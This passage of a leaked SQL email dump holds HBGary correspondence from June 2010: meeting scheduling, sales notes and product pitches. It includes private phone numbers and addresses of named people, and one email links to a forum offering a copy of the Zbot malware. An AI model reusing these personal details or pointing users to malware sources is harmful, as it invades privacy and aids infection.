$5,000 to students actively pursuing an undergraduate or graduate education degree for the purpose of teaching STEM subjects at a U.S. middle or secondary school.&nbsp; At least 35 scholarships will be awarded annually.  \r\n      This Tournament is for all golfers &ndash; beginners or advanced! Registration fees include green fees, range balls, carts, continental breakfast, munchies and refreshments on the course, lunch and awards.&nbsp; \r\n      There will be a Silent Auction with lots of great items to bid on &ndash; to include autographed items and sports memorabilia!&nbsp; It\'s a great day for networking and having fun!\r\n      There are many sponsorship opportunities available&hellip;.tournament sponsor, hole sponsorships, special contests, food and beverage sponsorships, tournament giveaways, etc.&nbsp; To receive a complete list of the Sponsorship Program, email Maureen Cirrito (mcirrito@afcea.org).&nbsp; The Program offers a great opportunity for enhanced corporate visibility and recognition.&nbsp;&nbsp; \r\n      To secure your spot in the AFCEA International &ldquo;Swinging for Scholarships&rdquo; Golf Tournament &ndash; sign up TODAY!&nbsp; If you have any questions or need additional information, please contact:\r\n      \r\n      \r\n  \r\nMaureen Cirrito\r\n  Manager, Plans and Patrons\r\n  AFCEA International\r\n  703/631-6174\r\n  mcirrito@afcea.org\r\n  	\r\n	  \r\n	\r\n	  \r\n	\r\n      \r\n  \r\n      \r\n      \r\nThis email is provided as a professional courtesy. If you\'d prefer not to receive future notices, please Click Here\r\n\r\nAFCEA International: 4400 Fair Lakes Court Fairfax, Virginia 22033 \r\n\">http://www.afcea.org\r\n\r\n    \r\n  \r\n\r\n		\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12927,'aaron_hbgary_com/12927.html'),(7592,'2010-06-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005724.M603125P14101Q2447.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,','RE: \"APT and Botnets\" (draft #2)','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLooks good.&nbsp; Karen I think Josh Corman would be interested in\r\nthis piece (along with Paul Roberts) and I think it would be a great op ed for\r\nUSA today, Washington Post, SF Chronicle or Wall Street Journal.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, June 21, 2010 9:34 AM\r\nTo: Aaron Barr\r\nCc: Phil Wallisch; Mike Spohn; Shawn Bracken; Rich Cummings; Karen\r\nBurke; Penny C. Hoglund\r\nSubject: &quot;APT and Botnets&quot; (draft #2)\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI&nbsp;have incorporated your&nbsp;writing into several\r\nsections of the article, and re-organized the article as well.&nbsp; Also, per\r\nKaren, I have removed the references and worked them directly into the\r\nprose.&nbsp; If any of you have time, please review.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nThanks!\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10749,'aaron_hbgary_com/10749.html'),(7593,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005724.M843039P14101Q2448.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,,,','Re: \"APT and Botnets\" (draft #2)','Looks good Greg.\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 12:34 PM, Greg Hoglund  wrote:\r\n\r\n>\r\n> Aaron,\r\n>\r\n> I have incorporated your writing into several sections of the article, and re-organized the article as well.  Also, per Karen, I have removed the references and worked them directly into the prose.  If any of you have time, please review.\r\n>\r\n> Thanks!\r\n> -Greg\r\n> \r\n',11417,'aaron_hbgary_com/11417.html'),(7594,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005725.M426246P14101Q2450.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','We\'d afternoon would be great if you have the time then.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> I sit in AJ but also spend a day or two a week in Chantilly. Thursday I\r\n> am in AJ but I can carve some time out of Wed when I will be in\r\n> Chantilly in the afternoon.  Thoughts\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 21, 2010 10:41 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> Ha.  I like the three bears comment!  And I can see it would be a much\r\n> better fit, not so big, mission not so spread out.  You can focus you\r\n> energies to help them develop a cyber strategy within a much more\r\n> defined context.  Still any cyber strategy effort today is not without\r\n> its challenges, the government just is not getting its act together.\r\n>\r\n> Thanks.  Like you this feels just right.  I am having a blast, the\r\n> anxiety and exhilaration of trying to build a business is an invaluable\r\n> experience for me.  I am not happy with the manner in which I left, but\r\n> alls well that ends well and I have maintained good relationships with\r\n> just about all of my previous close coworkers.  I sit in Tysons/Mclean.\r\n> We don\'t have a DC office yet, main offices in Sacramento and Colorado\r\n> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\n> This week I have Thursday open and am pretty open next week.  I will be\r\n> in Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\n> not sure where you sit.  Let me know when you have some availability.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>\r\n>> Hey Aaron,\r\n>>\r\n>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>> tentative congratulations but I will tell you I am pleased to be here.\r\n>> Northrop is a great company, just way too big, and like the three\r\n> bears\r\n>> said, this one is JUST right.  Or at least it is so far.  And many of\r\n>> your friends here still remember you well.  I think I saw where your\r\n>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>> yourself.  Where do you actually sit?  When would you like to get\r\n>> together?  Let me know and we\'ll make it happen,\r\n>>\r\n>> 	Larry\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Discussion on cyber\r\n>>\r\n>> Hi Larry,\r\n>>\r\n>> Congratulations... I think. ;)\r\n>>\r\n>> Attached is our datasheet for information security services.  I would\r\n>> like to get together at your convenience to talk cyber.  I had a brief\r\n>> meeting with Wood last week and mentioned to him, if interested, i\r\n> would\r\n>> like to work together.  TASC is a second home for me and contains many\r\n>> friends.\r\n>>\r\n>> Aaron\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',14997,'aaron_hbgary_com/14997.html'),(7595,'2010-06-21','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005725.M758343P14101Q2451.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','Whoops, life at the speed of cyber just struck; am now headed to one of\r\nthe local colleges Wed afternoon to work on a cyber curriculum so we\r\nwill have to look at another time. Your next best opportunity?\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 5:33 PM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nWe\'d afternoon would be great if you have the time then.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> I sit in AJ but also spend a day or two a week in Chantilly. Thursday\r\nI\r\n> am in AJ but I can carve some time out of Wed when I will be in\r\n> Chantilly in the afternoon.  Thoughts\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 21, 2010 10:41 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> Ha.  I like the three bears comment!  And I can see it would be a much\r\n> better fit, not so big, mission not so spread out.  You can focus you\r\n> energies to help them develop a cyber strategy within a much more\r\n> defined context.  Still any cyber strategy effort today is not without\r\n> its challenges, the government just is not getting its act together.\r\n>\r\n> Thanks.  Like you this feels just right.  I am having a blast, the\r\n> anxiety and exhilaration of trying to build a business is an\r\ninvaluable\r\n> experience for me.  I am not happy with the manner in which I left,\r\nbut\r\n> alls well that ends well and I have maintained good relationships with\r\n> just about all of my previous close coworkers.  I sit in\r\nTysons/Mclean.\r\n> We don\'t have a DC office yet, main offices in Sacramento and Colorado\r\n> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\n> This week I have Thursday open and am pretty open next week.  I will\r\nbe\r\n> in Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\n> not sure where you sit.  Let me know when you have some availability.\r\n>\r\n> Aaron\r\n>\r\n> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>\r\n>> Hey Aaron,\r\n>>\r\n>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>> tentative congratulations but I will tell you I am pleased to be\r\nhere.\r\n>> Northrop is a great company, just way too big, and like the three\r\n> bears\r\n>> said, this one is JUST right.  Or at least it is so far.  And many of\r\n>> your friends here still remember you well.  I think I saw where your\r\n>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>> yourself.  Where do you actually sit?  When would you like to get\r\n>> together?  Let me know and we\'ll make it happen,\r\n>>\r\n>> 	Larry\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Discussion on cyber\r\n>>\r\n>> Hi Larry,\r\n>>\r\n>> Congratulations... I think. ;)\r\n>>\r\n>> Attached is our datasheet for information security services.  I would\r\n>> like to get together at your convenience to talk cyber.  I had a\r\nbrief\r\n>> meeting with Wood last week and mentioned to him, if interested, i\r\n> would\r\n>> like to work together.  TASC is a second home for me and contains\r\nmany\r\n>> friends.\r\n>>\r\n>> Aaron\r\n>\r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n>\r\n',7963,'aaron_hbgary_com/7963.html'),(7596,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005725.M95288P14101Q2449.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Sounds good.  Do you want me to send clearances, or uncles this time?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 10:58 AM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n wrote:\r\n\r\n> How about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn\'t work let me know and we\'ll pick another one. The address is:\r\n> 6359 Walker Lane, Alexandria, VA 22310\r\n> Once you get here you can give me a call at 703-428-4514 and I\'ll meet up with you. We\'ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\n>\r\n> Very Respectfully,\r\n>\r\n> CPT Stephen W. Turner\r\n> DSN 703-428-4514\r\n>\r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Monday, June 21, 2010 9:36 am\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA\" \r\n>\r\n>\r\n>> Friday looks good for me. I will come to you.\r\n>>\r\n>> Let me know time and place and I\'ll be there.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\n>>\r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>>\r\n>>> Mr. Barr,\r\n>>> Thanks for your briefing, I really appreciate it. I have a\r\n>> writing> course from Tuesday to Thursday but I\'m free on Friday of\r\n>> this week.\r\n>>> Next week is pretty open for me. Where are you located? I assume\r\n>> up near\r\n>>> Ft. Meade. Our office is in Springfield, Virginia. If we met\r\n>> here it\r\n>>> would be easier for us to get my boss, Mrs. Brooks, involved\r\n>> concerning> Fidelis. She has been leading force in fighting to get\r\n>> monitoring tools\r\n>>> such as Fidelis on Army networks. If you are near Ft. Meade or close\r\n>>> enough to metro area I could easily come to you. Let me know\r\n>> what is\r\n>>> convenient for you and we\'ll pick a time. Thanks\r\n>>>\r\n>>> CPT Steve Turner\r\n>>>\r\n>>> Classification: UNCLASSIFIED\r\n>>> Caveats: FOUO\r\n>>>\r\n>>>\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',7574,'aaron_hbgary_com/7574.html'),(7597,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005726.M171428P14101Q2452.eml','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','Re: Discussion on cyber','Sure.  I can do thursday, unless you can do tomorrow morning?  I am in\r\nMD all tomorrow.\r\n\r\nYour call.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 5:57 PM, \"Strang, Larry (TASC)\"\r\n wrote:\r\n\r\n> Whoops, life at the speed of cyber just struck; am now headed to one of\r\n> the local colleges Wed afternoon to work on a cyber curriculum so we\r\n> will have to look at another time. Your next best opportunity?\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Monday, June 21, 2010 5:33 PM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Re: Discussion on cyber\r\n>\r\n> We\'d afternoon would be great if you have the time then.\r\n>\r\n> Aaron\r\n>\r\n> Sent from my iPad\r\n>\r\n> On Jun 21, 2010, at 4:45 PM, \"Strang, Larry (TASC)\"\r\n>  wrote:\r\n>\r\n>> I sit in AJ but also spend a day or two a week in Chantilly. Thursday\r\n> I\r\n>> am in AJ but I can carve some time out of Wed when I will be in\r\n>> Chantilly in the afternoon.  Thoughts\r\n>>\r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>> Sent: Monday, June 21, 2010 10:41 AM\r\n>> To: Strang, Larry (TASC)\r\n>> Subject: Re: Discussion on cyber\r\n>>\r\n>> Ha.  I like the three bears comment!  And I can see it would be a much\r\n>> better fit, not so big, mission not so spread out.  You can focus you\r\n>> energies to help them develop a cyber strategy within a much more\r\n>> defined context.  Still any cyber strategy effort today is not without\r\n>> its challenges, the government just is not getting its act together.\r\n>>\r\n>> Thanks.  Like you this feels just right.  I am having a blast, the\r\n>> anxiety and exhilaration of trying to build a business is an\r\n> invaluable\r\n>> experience for me.  I am not happy with the manner in which I left,\r\n> but\r\n>> alls well that ends well and I have maintained good relationships with\r\n>> just about all of my previous close coworkers.  I sit in\r\n> Tysons/Mclean.\r\n>> We don\'t have a DC office yet, main offices in Sacramento and Colorado\r\n>> Springs.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\n>> This week I have Thursday open and am pretty open next week.  I will\r\n> be\r\n>> in Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\n>> not sure where you sit.  Let me know when you have some availability.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n>>\r\n>>> Hey Aaron,\r\n>>>\r\n>>> Great to hear from you; how are things at HBGary?  Thanks for the\r\n>>> tentative congratulations but I will tell you I am pleased to be\r\n> here.\r\n>>> Northrop is a great company, just way too big, and like the three\r\n>> bears\r\n>>> said, this one is JUST right.  Or at least it is so far.  And many of\r\n>>> your friends here still remember you well.  I think I saw where your\r\n>>> duty title was the CEO and so I am duly impressed.  Congratulations\r\n>>> yourself.  Where do you actually sit?  When would you like to get\r\n>>> together?  Let me know and we\'ll make it happen,\r\n>>>\r\n>>> 	Larry\r\n>>>\r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n>>> Sent: Wednesday, June 16, 2010 9:55 AM\r\n>>> To: Strang, Larry (TASC)\r\n>>> Subject: Discussion on cyber\r\n>>>\r\n>>> Hi Larry,\r\n>>>\r\n>>> Congratulations... I think. ;)\r\n>>>\r\n>>> Attached is our datasheet for information security services.  I would\r\n>>> like to get together at your convenience to talk cyber.  I had a\r\n> brief\r\n>>> meeting with Wood last week and mentioned to him, if interested, i\r\n>> would\r\n>>> like to work together.  TASC is a second home for me and contains\r\n> many\r\n>>> friends.\r\n>>>\r\n>>> Aaron\r\n>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n',7339,'aaron_hbgary_com/7339.html'),(7598,'2010-06-21','\"David Gerulski\" <dgerulski@endgames.us>','/aaron@hbgary.com/new/1297005726.M552839P14101Q2453.eml','aaron@hbgary.com','Proposal','Aaron,\r\n\r\nWould like to get on the phone with you as soon as convenient.  Need to go over the proposal we sent to you on Friday. \r\n\r\nSincerely \r\n\r\nDave\r\n\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n\r\n',6348,'aaron_hbgary_com/6348.html'),(7599,'2010-06-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005726.M891313P14101Q2454.eml','all@hbgary.com','FDA $120K','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nCongrats to Maria, she closed $120K order today for 11 Responder\r\nPro&#8217;s.&nbsp; There was an incident and they needed product NOW!!!&nbsp; Congrats\r\nMaria\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',1038,'aaron_hbgary_com/1038.html'),(7600,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005727.M280209P14101Q2455.eml','\"David Gerulski\" <dgerulski@endgames.us>','Re: Proposal','Absolutely.  With the FIRST conference and fathers day I haven\'t had a\r\nchance to review, so how about on wed. Or thurs. Morning?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 6:41 PM, David Gerulski  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Would like to get on the phone with you as soon as convenient.  Need to go over the proposal we sent to you on Friday.\r\n>\r\n> Sincerely\r\n>\r\n> Dave\r\n>\r\n>\r\n> David Gerulski\r\n> VP Commercial Sales & Marketing\r\n> dgerulski@endgames.us\r\n>\r\n>\r\n',12805,'aaron_hbgary_com/12805.html'),(7601,'2010-06-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005742.M109251P14101Q2456.eml','paul.davis@njvc.com,\"Aaron Barr\" <aaron@hbgary.com>','Follow up from Symantec Government Symposium','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nPaul,\r\n\r\n&nbsp;\r\n\r\nGreat meeting you today.&nbsp; This email has two\r\npurposes:&nbsp; (1) get HBGary hooked up with your cyber group so we can show\r\nhow our cyber security software can help you increase services revenue; and (2)\r\nintroduce you to Aaron Barr who is CEO of our sister company called HBGary\r\nFederal.\r\n\r\n&nbsp;\r\n\r\nHBGary Active Defense finds malware on Windows endpoints\r\nthat cannot be detected by traditional security products.&nbsp; Our approach is\r\nbased on automated memory analysis and binary reverse engineering to uncover\r\nlow level software behaviors.&nbsp; Our Digital DNA technology gives each binary\r\na threat severity score and shows behavioral traits.&nbsp; The system is used\r\nfor proactive malware detection and reaction incident response.&nbsp; The\r\nsoftware has terrific services legs because every time it finds new malware it\r\ngenerally creates an incident response services engagement.\r\n\r\n&nbsp;\r\n\r\nPlease contact me related to HBGary software products.&nbsp;\r\nInfo is attached.\r\n\r\n&nbsp;\r\n\r\nHBGary Federal focuses on classified and services\r\nwork.&nbsp; As I mentioned, Aaron Barr and Ted Vera who run HBGary Federal have\r\nlots of offensive work leveraging social networking technologies.\r\n\r\n&nbsp;\r\n\r\nContact info:\r\n\r\nPaul Davis / paul.davis@njvc.com\r\n/ (703) 839-7716 / M (703) 268-6824\r\n\r\nAaron Barr / aaron@hbgary.com\r\n/ 719-510-8478\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp;\r\nHBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4231,'aaron_hbgary_com/4231.html'),(7602,'2010-06-22','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005743.M508559P14101Q2457.eml','all@hbgary.com','RE: FDA $120K','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nSWEET !!\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Monday, June 21, 2010 7:09 PM\r\nTo: all@hbgary.com\r\nSubject: FDA $120K\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nCongrats to Maria, she closed $120K order today for 11\r\nResponder Pro&#8217;s.&nbsp; There was an incident and they needed product\r\nNOW!!!&nbsp; Congrats Maria\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice contained herein\r\n(including attachments) is not intended to be and cannot be used by any\r\ntaxpayer for the purpose of avoiding tax penalties that may be imposed\r\non&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed pursuant to\r\nU.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/21/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',698,'aaron_hbgary_com/698.html'),(7603,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005743.M833571P14101Q2458.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: SecDev - Meeting in Washington area - June 23 (Wednesday)','I am going to be coming from Chantilly so let&#39;s not head up to Bethesda and deal with traffic.  I will get us an office in Tysons Corner.  Sound Good?  I will send an address tomorrow.\r\nAaronSent from my iPadOn Jun 21, 2010, at 10:40 AM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nWe can come down to Bethesda. We have a meeting in McLean at 11am, so I was planning we would end after 12pm and then head over to your place. Do you think that&#39;s best, given traffic on a Wednesday?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; AnalyticsThe SecDev Group\r\ncomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:34 AM, Aaron Barr wrote:\r\nThat should work fine.  Where would you like to meet?AaronOn Jun 21, 2010, at 10:31 AM, Arnav Manchanda wrote:\r\nHi Aaron,How does 1pm sound, or shortly after?Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn 2010-06-21, at 10:27 AM, Aaron Barr wrote:\r\nSorry I meant Wednesday.On Jun 18, 2010, at 1:46 PM, Arnav Manchanda wrote:\r\nHi Aaron,That will work, most likely early afternoon. I&#39;ll confirm ASAP with a time that works best, since I have to check the travelling around part :)Best,Arnav\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nArnav ManchandaBusiness Capture &amp; Analytics\r\nThe SecDev Groupcomplexity.engaged\r\nWorld Exchange Plaza\r\n45 O&#39;Connor Street, Suite 1150\r\nOttawa, Ontario K1P 1A4\r\nOffice: +1 (613) 755-4007\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\nOn 2010-06-18, at 6:54 AM, Aaron Barr wrote:Hi Arnav,Sounds great.  I have a meeting in Chantilly from 10-11, so how about the afternoon?\r\nAaronSent from my iPad\r\nOn Jun 17, 2010, at 10:47 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:\r\nDear Aaron,I hope all is well with you and the team at HBGary. Rafal and I were hoping to make it down to Washington next week, Wednesday June 23, and to meet with you and your colleagues. Would you be available that day, and if so at what times?\r\n\r\nBest wishes,Arnav\r\n\r\n\r\n\r\n\r\n\r\nArnav Manchanda\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBusiness Capture &amp; AnalyticsThe SecDev Group\r\n\r\ncomplexity.engaged\r\n\r\nWorld Exchange Plaza\r\n\r\n45 O&#39;Connor Street, Suite 1150\r\n\r\nOttawa, Ontario K1P 1A4\r\n\r\nOffice: +1 (613) 755-4007\r\n\r\nCell:  +1 (613) 806-4081E-mail: a.manchanda@secdev.ca \r\nThis email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.\r\nConsider the environment. Please don&#39;t print this e-mail unless you really need to.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n',16307,'aaron_hbgary_com/16307.html'),(7604,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005744.M136620P14101Q2459.eml','\"Don Bailey\" <dbailey@blackbirdtech.com>','Dinner','Ok Don,\r\n\r\nHows does this week or next look?  I am back in town after the FIRST conference and have a list of things to discuss with you.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5235,'aaron_hbgary_com/5235.html'),(7605,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005744.M387922P14101Q2460.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Phil Wallisch\" <phil@hbgary.com>','Zbot','Here is a place I found you can get a copy.\r\n\r\nhttp://forums.malwarebytes.org/index.php?showtopic=42360&hl=possible+Zbot\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4349,'aaron_hbgary_com/4349.html'),(7606,'2010-06-22','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005744.M713149P14101Q2461.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','CPT 